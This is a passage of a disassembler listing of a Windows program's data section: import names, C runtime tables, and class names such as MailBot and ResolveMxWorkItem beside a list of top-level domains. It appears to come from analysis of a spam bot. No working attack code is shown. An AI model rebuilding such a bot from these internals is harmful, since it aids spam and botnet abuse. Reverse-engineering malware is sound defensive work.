dd 70747448h, 6E65704Fh, 75716552h, 41747365h, 590000h
dd 70747448h, 646E6553h, 75716552h, 41747365h, 690000h
aInternetcloseh db 'InternetCloseHandle',0
aT db '’',0
aInternetopena db 'InternetOpenA',0
aWininet_dll db 'WININET.dll',0
aG db 'G',0
aDnsquery_a db 'DnsQuery_A',0
align 2
aN db 'N',0
aDnsrecordlistf db 'DnsRecordListFree',0
aDnsapi_dll db 'DNSAPI.dll',0
align 2
aWs2_32_dll db 'WS2_32.dll',0
align 2
dw 204h
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 10h
dd 654701DFh, 63695474h, 756F436Bh, 746Eh, 6547014Eh, 73694474h
dd 6572466Bh, 61705365h, 78456563h, 1C80041h, 53746547h
dd 65747379h, 6D69546Dh, 0F30065h, 6D726F46h, 654D7461h
dd 67617373h, 4165h, 6E490223h, 61697469h, 657A696Ch, 74697243h
dd 6C616369h, 74636553h, 6E6F69h, 654C0251h, 43657661h
dd 69746972h, 536C6163h, 69746365h, 6E6Fh, 6E450098h, 43726574h
dd 69746972h, 536C6163h, 69746365h, 6E6Fh, 6F4C025Ch, 466C6163h
dd 656572h, 784500B9h, 72507469h, 7365636Fh, 0E30073h
dd 646E6946h, 6F736552h, 65637275h, 2570041h, 64616F4Ch
dd 6F736552h, 65637275h, 3900000h, 74696157h, 53726F46h
dd 6C676E69h, 6A624F65h, 746365h, 65530316h, 65764574h
dd 746Eh, 654701F3h, 6E695774h, 73776F64h, 65726944h, 726F7463h
dd 4179h, 6C530356h, 706565h, 69530355h, 666F657Ah, 6F736552h
dd 65637275h, 4F0000h, 61657243h, 76456574h, 41746E65h
dd 660000h, 61657243h, 72506574h, 7365636Fh, 4173h, 654701B7h
dd 61745374h, 70757472h, 6F666E49h, 1710041h, 4C746547h
dd 45747361h, 726F7272h, 3C30000h, 7274736Ch, 69706D63h
dd 1A00041h, 50746547h, 41636F72h, 65726464h, 7373h, 65530319h
dd 6C694674h, 74744165h, 75626972h, 41736574h, 2CF0000h
dd 65736552h, 65764574h, 746Eh, 6F4C0265h, 65526B63h, 72756F73h
dd 6563h, 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6547017Dh
dd 646F4D74h, 46656C75h, 4E656C69h, 41656D61h, 17F0000h
dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 600000h
dd 61657243h, 754D6574h, 41786574h, 810000h, 656C6544h
dd 72436574h, 63697469h, 65536C61h, 6F697463h, 1E9006Eh
dd 56746547h, 69737265h, 78456E6Fh, 340041h, 736F6C43h
dd 6E614865h, 656C64h, 654701E2h, 6D695474h, 6E6F5A65h
dd 666E4965h, 616D726Fh, 6E6F6974h, 1730000h, 4C746547h
dd 6C61636Fh, 656D6954h, 1E00000h, 54746547h, 46656D69h
dd 616D726Fh, 4174h, 65470147h, 74614474h, 726F4665h, 4174616Dh
dd 454B0000h, 4C454E52h, 642E3233h, 6C6Ch, 6547010Bh, 72754374h
dd 50726F73h, 736Fh, 6547015Dh, 73795374h, 4D6D6574h, 69727465h
dd 7363h, 52455355h, 642E3233h, 6C6Ch, 65520204h, 74655367h
dd 756C6156h, 41784565h, 1F70000h, 51676552h, 79726575h
dd 756C6156h, 41784565h, 1D10000h, 43676552h, 74616572h
dd 79654B65h, 417845h, 655201ECh, 65704F67h, 79654B6Eh
dd 417845h, 655201CBh, 6F6C4367h, 654B6573h, 1D80079h
dd 44676552h, 74656C65h, 6C615665h, 416575h, 41564441h
dd 32334950h, 6C6C642Eh, 35E0000h, 6D726554h, 74616E69h
dd 6F725065h, 73736563h, 1420000h, 43746547h, 65727275h
dd 7250746Eh, 7365636Fh, 36E0073h, 61686E55h, 656C646Eh
dd 63784564h, 69747065h, 69466E6Fh, 7265746Ch, 34A0000h
dd 55746553h, 6E61686Eh, 64656C64h, 65637845h, 6F697470h
dd 6C69466Eh, 726574h, 73490239h, 75626544h, 72656767h
dd 73657250h, 746E65h, 654701CAh, 73795374h, 546D6574h
dd 41656D69h, 6C694673h, 6D695465h, 0BA0065h, 74697845h
dd 65726854h, 6461h, 65470146h, 72754374h, 746E6572h, 65726854h
dd 64496461h, 6F0000h, 61657243h, 68546574h, 64616572h
dd 1100000h, 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh
dd 65480216h, 72467061h, 6565h, 65480210h, 6C417061h, 636F6Ch
dd 654701A3h, 6F725074h, 73736563h, 70616548h, 2A70000h
dd 73696152h, 63784565h, 69747065h, 6E6Fh, 745202D7h, 776E556Ch
dd 646E69h, 6C540365h, 74654773h, 756C6156h, 3630065h
dd 41736C54h, 636F6C6Ch, 3660000h, 53736C54h, 61567465h
dd 65756Ch, 6C540364h, 65724673h, 22C0065h, 65746E49h
dd 636F6C72h, 4964656Bh, 6572636Eh, 746E656Dh, 3280000h
dd 4C746553h, 45747361h, 726F7272h, 2280000h, 65746E49h
dd 636F6C72h, 4464656Bh, 65726365h, 746E656Dh, 21C0000h
dd 70616548h, 657A6953h, 1040000h, 43746547h, 666E4950h
dd 0FD006Fh, 41746547h, 5043h, 65470193h, 4D454F74h, 5043h
dd 434C0244h, 5370614Dh, 6E697274h, 4167h, 69570394h, 68436564h
dd 6F547261h, 746C754Dh, 74794269h, 2750065h, 746C754Dh
dd 74794269h, 576F5465h, 43656469h, 726168h, 434C0245h
dd 5370614Dh, 6E697274h, 5767h, 725703A4h, 46657469h, 656C69h
dd 654701B9h, 64745374h, 646E6148h, 656Ch, 65470122h, 6E6F4374h
dd 656C6F73h, 5043h, 65470133h, 6E6F4374h, 656C6F73h, 65646F4Dh
dd 0F60000h, 65657246h, 69766E45h, 6D6E6F72h, 53746E65h
dd 6E697274h, 417367h, 65470155h, 766E4574h, 6E6F7269h
dd 746E656Dh, 69727453h, 73676Eh, 724600F7h, 6E456565h
dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 1570057h
dd 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
dd 5773h, 65530324h, 6E614874h, 43656C64h, 746E756Fh, 1660000h
dd 46746547h, 54656C69h, 657079h, 65480214h, 65447061h
dd 6F727473h, 2120079h, 70616548h, 61657243h, 6574h, 69560383h
dd 61757472h, 6572466Ch, 2A30065h, 72657551h, 72655079h
dd 6D726F66h, 65636E61h, 6E756F43h, 726574h, 65470143h
dd 72754374h, 746E6572h, 636F7250h, 49737365h, 3810064h
dd 74726956h, 416C6175h, 636F6C6Ch, 21A0000h, 70616548h
dd 6C416552h, 636F6Ch, 6553031Bh, 6C694674h, 696F5065h
dd 7265746Eh, 2520000h, 64616F4Ch, 7262694Ch, 41797261h
dd 1BA0000h, 53746547h, 6E697274h, 70795467h, 4165h, 654701BDh
dd 72745374h, 54676E69h, 57657079h, 1740000h, 4C746547h
dd 6C61636Fh, 666E4965h, 416Fh, 72430053h, 65746165h, 656C6946h
dd 3990041h, 74697257h, 6E6F4365h, 656C6F73h, 1350041h
dd 43746547h, 6F736E6Fh, 754F656Ch, 74757074h, 5043h, 725703A3h
dd 43657469h, 6F736E6Fh, 57656Ch, 65530337h, 64745374h
dd 646E6148h, 656Ch, 6C4600EEh, 46687375h, 42656C69h, 65666675h
dd 7372h, 65530310h, 646E4574h, 6946664Fh, 656Ch, 655202B5h
dd 69466461h, 656Ch, 3FDh dup(0)
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
align 10h
dd offset dword_41DFB4
off_423014 dd offset off_41C308 ; DATA XREF: .vty:0041F2B8o
; .vty:0041F2D8o
dd 0
a_?avtype_info@ db '.?AVtype_info@@',0
off_42302C dd offset dword_41DFB4 ; DATA XREF: sub_40DE4F+3o
dword_423030 dd 1 dword_423034 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_423198 dd 0Ch dword_42319C dd 8 dword_4231A0 dd 2 ; sub_4143CC+19r ...
dd offset sub_415D0D
align 10h
off_4231B0 dd offset aNull_0 ; DATA XREF: sub_4113BB:loc_4118A9r
; sub_4113BB+7E7r
; "(null)"
off_4231B4 dd offset aNull ; DATA XREF: sub_4113BB+433r
; "(null)"
dword_4231B8 dd 8 ; sub_411DBF+13r ...
dword_4231BC dd 7 ; sub_411D53+1Er ...
dword_4231C0 dd 2D2A80D3h ; sub_412755+45w
dword_4231C4 dd 0DCC9149h ; sub_40F9A2+85o ...
dword_4231C8 dd 0F2336EB6h ; sub_415C79+89w ...
dd offset dword_41DFB4
off_4231D0 dd offset aNoError ; DATA XREF: sub_412B3Ao
; "No error"
dd offset aOperationNotPe ; "Operation not permitted"
dd offset aNoSuchFileOrDi ; "No such file or directory"
dd offset aNoSuchProcess ; "No such process"
dd offset aInterruptedFun ; "Interrupted function call"
dd offset aInputOutputErr ; "Input/output error"
dd offset aNoSuchDeviceOr ; "No such device or address"
dd offset aArgListTooLong ; "Arg list too long"
dd offset aExecFormatErro ; "Exec format error"
dd offset aBadFileDescrip ; "Bad file descriptor"
dd offset aNoChildProcess ; "No child processes"
dd offset aResourceTempor ; "Resource temporarily unavailable"
dd offset aNotEnoughSpace ; "Not enough space"
dd offset aPermissionDeni ; "Permission denied"
dd offset aBadAddress ; "Bad address"
dd offset aUnknownError ; "Unknown error"
dd offset aResourceDevice ; "Resource device"
dd offset aFileExists ; "File exists"
dd offset aImproperLink ; "Improper link"
dd offset aNoSuchDevice ; "No such device"
dd offset aNotADirectory ; "Not a directory"
dd offset aIsADirectory ; "Is a directory"
dd offset aInvalidArgumen ; "Invalid argument"
dd offset aTooManyOpenF_0 ; "Too many open files in system"
dd offset aTooManyOpenFil ; "Too many open files"
dd offset aInappropriateI ; "Inappropriate I/O control operation"
dd offset aUnknownError ; "Unknown error"
dd offset aFileTooLarge ; "File too large"
dd offset aNoSpaceLeftOnD ; "No space left on device"
dd offset aInvalidSeek ; "Invalid seek"
dd offset aReadOnlyFileSy ; "Read-only file system"
dd offset aTooManyLinks ; "Too many links"
dd offset aBrokenPipe ; "Broken pipe"
dd offset aDomainError ; "Domain error"
dd offset aResultTooLarge ; "Result too large"
dd offset aUnknownError ; "Unknown error"
dd offset aResourceDeadlo ; "Resource deadlock avoided"
dd offset aUnknownError ; "Unknown error"
dd offset aFilenameTooLon ; "Filename too long"
dd offset aNoLocksAvailab ; "No locks available"
dd offset aFunctionNotImp ; "Function not implemented"
dd offset aDirectoryNotEm ; "Directory not empty"
dd offset aIllegalByteSeq ; "Illegal byte sequence"
dd offset aUnknownError ; "Unknown error"
dword_423280 dd 2Bh, 0 dword_423288 dd 0FFFFFFFFh, 16h dup(0) ; sub_412015+9Ao ...
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 31h dup(0)
dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
dd 76757473h, 7A797877h, 0
db 0
align 2
aAbcdefghijkl_3 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
align 4
dd 21h dup(0)
byte_4234A8 db 0 ; DATA XREF: sub_4130CA+102w
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h, 0
byte_4235B0 db 0 ; DATA XREF: sub_4130CA+11Ew
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
dword_4236B0 dd 383258h ; sub_412E01+4Cr ...
byte_4236B4 db 1 ; DATA XREF: sub_412F1F+E3r
db 2, 4, 8
dword_4236B8 dd 3A4h dword_4236BC dd 82798260h, 21h, 0dword_4236C8 dd 0DFA6h align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dd offset dword_41D868+4
dword_4237AC dd 0FFFFFFFEh ; sub_40F7E2+4Cr ...
dword_4237B0 dd 43h, 0 ; sub_4133C2:loc_41340Do ...
dword_4237B8 dd 2, 15h dup(0) ; sub_4134D4+28o ...
dd offset dword_4237B0
align 10h
dd offset dword_4237B0
align 10h
dd offset dword_4237B0
align 10h
dd offset dword_4237B0
align 10h
dd offset dword_4237B0
align 10h
dd 2 dup(1), 3 dup(0)
dd offset off_423ED8
align 10h
off_423880 dd offset asc_41D668 ; DATA XREF: sub_40FF87+Dr
; sub_410004+Dr
; " ((((( H"
dd offset dword_41DA70+80h
dd offset dword_41DA70+200h
dd offset off_423E18
off_423890 dd offset dword_4237B8 ; DATA XREF: sub_40F7E2+24r
; sub_411EC6+88r ...
dd 1
off_423898 dd offset dword_4237B8 ; DATA XREF: sub_415093+17o
dd offset dword_423288
off_4238A0 dd offset dword_425000 ; DATA XREF: sub_413A82o
; sub_413A88+52o ...
dd 0
dd offset dword_425000
dd 101h
dword_4238B0 dd 2 dup(0) dd 1000h, 4 dup(0)
dd 2, 1, 6 dup(0)
dd 2 dup(2), 7 dup(0)
dword_423910 dd 7Ch dup(0) dword_423B00 dd 8 dup(0) ; sub_413BAB+Do
dword_423B20 dd 3 ; sub_41411B+1Br ...
align 8
dword_423B28 dd 2 off_423B2C dd offset aR6002FloatingP ; DATA XREF: sub_41422C:loc_41435Cr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 41CD44h, 9, 41CD18h, 0Ah, 41CC80h, 10h, 41CC54h
dd 11h, 41CC24h, 12h, 41CC00h, 13h, 41CBD4h, 18h, 41CB9Ch
dd 19h, 41CB74h, 1Ah, 41CB3Ch, 1Bh, 41CB04h, 1Ch, 41CADCh
dd 1Eh, 41CABCh, 1Fh, 41CA58h, 20h, 41CA20h, 21h, 41C928h
dd 22h, 41C888h, 78h, 41C874h, 79h, 41C864h, 7Ah, 41C854h
dd 0FCh, 41EBE8h, 0FFh, 41C844h
dword_423BE0 dd 0C0000005h, 0Bh, 0 ; sub_412015+6Eo
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_423C58 dd 3 ; sub_41530F+C0r ...
dword_423C5C dd 7 ; sub_41530F+C6r ...
dd 78h
dword_423C64 dd 0Ah ; sub_4180B7+4r
dword_423C68 dd 0FFFFFFFFh, 0A80h, 8 dup(0) ; sub_4113BB:loc_411497o ...
dd 10h, 41DFB4h, 415D0Dh
off_423C9C dd offset off_41C308 ; DATA XREF: sub_4165F6+128o
; .vty:0041F300o ...
dd 0
a_?avbad_except db '.?AVbad_exception@std@@',0
align 10h
off_423CC0 dd offset dword_424BB8 ; DATA XREF: sub_416C30:loc_416C6Dw
; sub_416C79+8o ...
dword_423CC4 dd 1 dd offset dword_424BD0
dd 1, 2 dup(0)
dd offset dword_424BE8
dd 1, 424C00h, 1, 2 dup(0)
dd offset dword_424C18
dd 1, 424C30h, 1, 424C48h, 1, 2 dup(0)
dd offset dword_424C60
dd 1, 2 dup(0)
dd offset dword_424C78
dd 1, 424C90h, 1, 424CA8h, 1, 2 dup(0)
dd offset dword_424CC0
dd 1, 424CD8h, 1, 424CF0h, 1, 22h dup(0)
dword_423DE0 dd 2D2A0590h ; sub_416C79+4Ao ...
db 90h
db 5, 2Ah, 2Dh
db 90h
db 5, 2Ah, 2Dh
db 90h
db 5, 2Ah, 2Dh
db 90h
db 5, 2Ah, 2Dh
db 90h
db 5, 2Ah, 2Dh
off_423DF8 dd offset sub_41A265 ; DATA XREF: sub_4113BB+61Ar
dd offset sub_41A265
off_423E00 dd offset sub_41A265 ; DATA XREF: sub_4113BB+65Fr
off_423E04 dd offset sub_41A265 ; DATA XREF: sub_4113BB+640r
align 10h
dd offset asc_41D668 ; " ((((( H"
dd offset dword_41D868+2
off_423E18 dd offset aSun ; DATA XREF: sub_413282+D9o
; .vty:0042388Co
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset aDecember ; "December"
dd offset aAm ; "AM"
dd offset aPm ; "PM"
dd offset aMmDdYy ; "MM/dd/yy"
dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy"
dd offset dword_41DA70+300h
dd 409h, 2 dup(1), 423E18h
dword_423ED4 dd 2Eh off_423ED8 dd offset dword_423ED4 ; DATA XREF: sub_413282+14o
; sub_4187D6+Br ...
off_423EDC dd offset dword_424D70 ; DATA XREF: sub_4187D6+1Dr
off_423EE0 dd offset dword_424D70 ; DATA XREF: sub_4187D6+2Fr
off_423EE4 dd offset dword_424D70 ; DATA XREF: sub_418816+Cr
off_423EE8 dd offset dword_424D70 ; DATA XREF: sub_418816+1Er
off_423EEC dd offset dword_424D70 ; DATA XREF: sub_418816+30r
off_423EF0 dd offset dword_424D70 ; DATA XREF: sub_418816+42r
off_423EF4 dd offset dword_424D70 ; DATA XREF: sub_418816+54r
off_423EF8 dd offset dword_424D70 ; DATA XREF: sub_418816+66r
off_423EFC dd offset dword_424D70 ; DATA XREF: sub_418816+78r
dd 2 dup(7F7F7F7Fh), 423ED8h, 1, 2Eh, 1, 2 dup(0)
dword_423F20 dd 19930520h, 3 dup(0) ; sub_419915+2o
dword_423F30 dd 2 ; sub_419B1B+4Fr ...
align 10h
dd 7080h, 1, 0FFFFF1F0h, 0
dword_423F50 dd 545350h, 0Fh dup(0)dword_423F90 dd 544450h, 0Fh dup(0) dd offset dword_423F50
dd offset dword_423F90
dd 0FFFFFFFFh, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h
dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0)
byte_424060 db 0 ; DATA XREF: sub_41A5AF:loc_41A910r
; sub_41A5AF+36Fr
align 4
dd 2Fh dup(0)
dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2 dup(0)
dword_424160 dd 0FFFFFFFEh dword_424164 dd 0FFFFFFFEh ; sub_419B1B:loc_419B44r ...
align 10h
off_424170 dd offset off_41C308 ; DATA XREF: .vty:0041F370o
align 8
a_?av?Sha@k0ka@ db '.?AV?$SHA@K$0KA@$0CAA@$0FA@$0KA@@@',0
align 4
off_42419C dd offset off_41C308 ; DATA XREF: .vty:0041F34Co
; .vty:0041F3A4o
dd 0
dd 56413F2Eh, 31414853h, 40403036h, 0
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
dd offset dword_41DFB4
off_4241E0 dd offset off_41C308 ; DATA XREF: .vty:0041F2A4o
; .vty:0041F3F0o ...
align 8
a_?avexception@ db '.?AVexception@std@@',0
off_4241FC dd offset off_41C308 ; DATA XREF: .vty:0041F3CCo
; .vty:0041F424o ...
dd 0
a_?avbad_alloc@ db '.?AVbad_alloc@std@@',0
off_424218 dd offset off_41C308 ; DATA XREF: .vty:0041F49Co
; .vty:0041F4C0o ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_424238 dd offset off_41C308 ; DATA XREF: .vty:0041F44Co
; .vty:0041F474o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_424258 dd offset off_41C308 ; DATA XREF: .vty:0041F4E8o
; .vty:0041F50Co
align 10h
a_?avmailproxyl db '.?AVMailProxyLockWorkItem@@',0
off_42427C dd offset off_41C308 ; DATA XREF: .vty:0041F534o
; .vty:0041F558o
dd 0
a_?avmaildomain db '.?AVMailDomainDirectWorkItem@@',0
align 4
off_4242A4 dd offset off_41C308 ; DATA XREF: .vty:0041F580o
; .vty:0041F5A4o
dd 0
a_?avresolvemxw db '.?AVResolveMxWorkItem@@',0
off_4242C4 dd offset off_41C308 ; DATA XREF: .vty:0041F5CCo
dd 0
dd 56413F2Eh, 6C69614Dh, 40746F42h, 40h
off_4242DC dd offset off_41C308 ; DATA XREF: .vty:0041F634o
; .vty:0041F654o
dd 0
dd 56413F2Eh, 6B726F57h, 6D657449h, 4040h
off_4242F4 dd offset off_41C308 ; DATA XREF: .vty:0041F5F0o
; .vty:0041F688o
dd 0
a_?avicommclien db '.?AVICommClient@@',0
align 10h
off_424310 dd offset aCom ; DATA XREF: sub_402E64+A8r
; sub_402E64+AEo
; "com"
dd offset aNet ; "net"
dd offset aBiz ; "biz"
dd offset aInfo ; "info"
dd offset aOrg ; "org"
dd offset aEdu ; "edu"
dd offset aPl ; "pl"
dd offset aCa ; "ca"
dd 0
off_424334 dd offset off_41C308 ; DATA XREF: .vty:0041FF0Co
dd 0
a_?aucommerror@ db '.?AUCommError@@',0
off_42434C dd offset off_41C308 ; DATA XREF: .vty:0041F6B0o
; .vty:0041F6D8o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
dd 5 dup(0)
dword_424380 dd 2D6BA7F5h ; sub_40DCD8+3r
dword_424384 dd 0 ; .vty:loc_41B6A9w ...
align 10h
dword_424390 dd 0 ; sub_40DE68+32w
dword_424394 dd 0 ; sub_4154DB:loc_4154EDr ...
dd 0
dword_42439C dd 0 ; sub_419AD5+15r ...
dword_4243A0 dd 2D2AB9D7h ; sub_41219F+51r ...
dword_4243A4 dd 51EB30B5h ; sub_41219F+3Dw ...
dword_4243A8 dd 51EB3C30h ; sub_411F7A+44r ...
dword_4243AC dd 51EA9122h ; sub_41219F+5Ew ...
dword_4243B0 dd 0 ; sub_412323+29r ...
dword_4243B4 dd 0 dword_4243B8 dd 2 ; sub_412542:loc_41256Ar ...
dword_4243BC dd 0A28h dword_4243C0 dd 501h dword_4243C4 dd 5 ; sub_412579+30r
dword_4243C8 dd 1 dword_4243CC dd 1 dword_4243D0 dd 383480h align 8
dword_4243D8 dd 3834A0h ; sub_4154DB:loc_4155A0r ...
dd 3 dup(0)
off_4243E8 dd offset aCM_unpackerPac ; DATA XREF: sub_41574E+37w
; "C:\\m_unpacker\\packed.exe"
align 10h
byte_4243F0 db 0 ; DATA XREF: sub_412647+2Cw
; sub_413B39+5r
align 4
dword_4243F4 dd 0 dword_4243F8 dd 0 ; sub_412647+A0w
dword_4243FC dd 0 dword_424400 dd 0 dword_424404 dd 2D6BA7F5h dword_424408 dd 0 ; sub_412EA5+1Dw ...
word_42440C dw 0 ; DATA XREF: sub_4130CA+E7w
align 10h
dd 2 dup(0)
dword_424418 dd 4E4h dword_42441C dd 0 dword_424420 dd 0 dword_424424 dd 0 dd 8 dup(0)
dword_424448 dd 1 ; sub_4135A3+3Aw ...
dword_42444C dd 0 ; sub_417A72w
dword_424450 dd 6 dup(0) db 0
byte_424469 db 3 dup(0) ; DATA XREF: sub_41422C+8Ao
dd 40h dup(0)
db 0
byte_42456D db 0 ; DATA XREF: sub_41422C+92w
align 10h
dd 7Dh dup(0)
dword_424764 dd 2 dup(0) dword_42476C dd 2D6BA7F5h aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41574E+1Do
; .vty:off_4243E8o
align 4
dd 3Ah dup(0)
byte_424874 db 0 ; DATA XREF: sub_41574E+24w
align 4
dword_424878 dd 1 ; sub_415807+24w ...
dword_42487C dd 380000h ; sub_411069+72r ...
dword_424880 dd 0 ; sub_415D79+11w ...
byte_424884 db 0 ; DATA XREF: sub_415D0D:loc_415D46r
; sub_415D79+17w ...
align 4
dword_424888 dd 2D2ACDBDh ; sub_416ACB+Bw
align 10h
dword_424890 dd 0 ; .vty:off_41CE1Co
dword_424894 dd 0 dd 0
dword_42489C dd 0 dd 10h dup(0)
dword_4248E0 dd 0 ; sub_416B2C+DFr
align 8
dword_4248E8 dd 0 ; .vty:0041CE20o
dd 22h dup(0)
word_424974 dw 0 ; DATA XREF: sub_416B2C+4Fw
align 4
word_424978 dw 0 ; DATA XREF: sub_416B2C+48w
align 4
word_42497C dw 0 ; DATA XREF: sub_416B2C+41w
align 10h
word_424980 dw 0 ; DATA XREF: sub_416B2C+3Aw
align 4
dword_424984 dd 0 dword_424988 dd 0 dword_42498C dd 0 dword_424990 dd 0 dword_424994 dd 0 dword_424998 dd 0 dword_42499C dd 0 dword_4249A0 dd 0 ; sub_416B2C+85r
word_4249A4 dw 0 ; DATA XREF: sub_416B2C+33w
align 4
dword_4249A8 dd 0 dword_4249AC dd 0 word_4249B0 dw 0 ; DATA XREF: sub_416B2C+2Cw
align 4
dd 81h dup(0)
dword_424BB8 dd 146218h, 0FFFFFFFFh, 4 dup(0) ; .vty:off_423CC0o
dword_424BD0 dd 146240h, 0FFFFFFFFh, 4 dup(0)dword_424BE8 dd 146268h, 0FFFFFFFFh, 4 dup(0) db 90h
db 62h, 14h, 0
dd 0FFFFFFFFh, 4 dup(0)
dword_424C18 dd 1462B8h, 0FFFFFFFFh, 4 dup(0) dd 1462E0h, 0FFFFFFFFh, 4 dup(0)
dd 146308h, 0FFFFFFFFh, 4 dup(0)
dword_424C60 dd 146330h, 0FFFFFFFFh, 4 dup(0)dword_424C78 dd 146358h, 0FFFFFFFFh, 4 dup(0) dd 146380h, 0FFFFFFFFh, 4 dup(0)
dd 1463A8h, 0FFFFFFFFh, 4 dup(0)
dword_424CC0 dd 1463D0h, 0FFFFFFFFh, 4 dup(0) dd 1463F8h, 0FFFFFFFFh, 4 dup(0)
dd 146420h, 0FFFFFFFFh, 4 dup(0)
dword_424D08 dd 0 ; sub_416E4A+21Cr ...
dword_424D0C dd 0 ; sub_417D65+CAr ...
dword_424D10 dd 0 dword_424D14 dd 2D6BA7F5h ; sub_4180F8:loc_418141o ...
dword_424D18 dd 2D6BA7F5h ; sub_4180F8:loc_418197o ...
dword_424D1C dd 2D6BA7F5h dword_424D20 dd 2D6BA7F5h ; sub_4180F8:loc_4181A3o ...
align 8
dword_424D28 dd 2D6BA7F5h dword_424D2C dd 51EB1FDCh ; sub_4182CC+11r ...
dd 0Fh dup(0)
dword_424D6C dd 1 ; sub_41844E+37w ...
dword_424D70 dd 0 ; .vty:off_423EE0o ...
dword_424D74 dd 0 dword_424D78 dd 0 ; resolved to->USER32.MessageBoxA ; sub_419937+60w ...
dword_424D7C dd 0 ; resolved to->USER32.MessageBoxA ; sub_419937:loc_419A85r
